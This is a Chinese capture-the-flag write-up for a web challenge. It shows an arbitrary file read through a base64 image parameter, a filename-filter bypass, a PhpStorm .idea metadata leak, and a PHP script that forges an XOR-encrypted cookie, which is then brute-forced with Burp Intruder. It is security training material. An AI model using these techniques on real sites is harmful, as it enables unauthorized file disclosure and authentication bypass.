[百度杯] 九月场 code writeup

进入题目是这样的一个链接:
http://ae98dec0b0e0439a959838553d507f5876842d29b25c44c0.game.ichunqiu.com/index.php?jpg=hei.jpg
并且显示了一张图片。
查看页面源码:发现图片使用base64编码的,所谓图片base64编码,其实是页面展示图片的一种方法。平常我们见到的的图片都是一个url,通过这个url发起一次请求,从服务器下载图片,但是这就导致了一个页面要多次访问服务器。而base64编码则是直接把图片进行编码,然后把编码的得到的字符串(这个字符串非常的长)放入html里面,当浏览器请求页面时随着html一起返回给了浏览器,然后浏览器对字符串进行解码,得到一个图片。对于base64编码图片,如果开发者不小心,就可能会把非图片的文件进行编码,然后发送给浏览器。我们进行一下尝试:
http://ae98dec0b0e0439a959838553d507f5876842d29b25c44c0.game.ichunqiu.com/index.php?jpg=index.php
这里写图片描述
果然得到一串base64编码,对其进行解码得到index.php如下:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
    echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt.    "'></img>";

/*
 * Can you find the flag file?
 *
 */
?>                                                                  

分析一下index.php的代码,该文件会过滤jpg参数进行。先是进行字符串匹配,把不符合正则表达式的字符替换为空,然后将参数里面的config替换为下划线。然而另外一条重要的信息是 * Created by PhpStorm. *。查一下phpstorm,是一个php的集成开发软件,而且phpstorm在创建项目时会自动创建一个文件夹.idea。
这里写图片描述
该文件夹里有这样一些文件,我们试一下能不能访问,……..结果是可以的,其中比较关键的是 workspace.xml文件,
这里写图片描述
该文件显示有这样两个文件:fl3g_ichuqiu.php , config.php
我们肯定要去看一下fl3g_ichuqiu.php 这个文件,不过文件名里有一个下划线,会被过滤掉,利用index.php里面的过滤规则,我们用 fl3gconfigichuqiu.php 进行访问:
http://ae98dec0b0e0439a959838553d507f5876842d29b25c44c0.game.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php
这里写图片描述
又是一个base64编码,对其解码:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)  {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;    $i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COO    KIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭"; 
}
?>                                                                                                  

里面是一个加密解密算法,关键在于加密用的$key, 可以猜到$key是定义在config.php里的,但是不能绕过过滤访问config.php,只能按照出题人的思路走。
一个关键信息是当我们的request 的 cookie里的user字段解密得不到system字符串,就会在response里的cookie的user字段里放一个’guest’加密后字符串。
$key是固定不变的,但是加密时会用$key.$rnd进行md5加密,然后利md5字符串的前几位进行加密。根据已知的’guest’加密对,我们可以得到一个$rnd,以及md5($key.$rnd)的[1:5]位,而加密’system’需要用到md5($key.$rnd)的[1:6]位,我们只需要对第六为进行字符遍历,然后进行爆破即可。脚本如下:

<?php
function findkey(){
    $txt='guest';
    $result='YlY1dUEbXU5L';
    $tmp = '';
    $key = '';
    $result = base64_decode($result);
    $rnd = substr($result, 0, 4);
    $result = substr($result, 4);
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
        }
    $txt = $tmp;
    for ($i=0;$i<strlen($txt);$i++){
        $key .= $txt[$i] ^ $result[$i];
    }
    echo "key: " . $key;
    echo "\n";
    echo "rnd: " . $rnd;
    echo "\n";
    return array($key, $rnd);
}

function encry_special($key, $rnd){
    $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $file = fopen("encrypt.txt", "w");
    $txt = 'system';
    $tmp = '';
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
        }
    $txt = $tmp;
    for ($n=0;$n<strlen($chars); $n++){
        $keytest = $key . $chars[$n];
        $ttmp = '';
        for($i=0;$i<strlen($txt);$i++){
            $ttmp .= $txt[$i] ^ $keytest[$i];
        }
        fwrite($file, base64_encode($rnd.$ttmp)."\n");
    }
}

$value = findkey();
encry_special($value[0], $value[1]);
?>

得到的密文会写入encrypt.txt文件夹里面。
这里写图片描述
然后用burpsuite的intruder模块进行爆破。
这里写图片描述
得到flag。
关键点有三个:
* 图片base64编码
* phpsotrm的.idea文件夹
* 加密解密

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值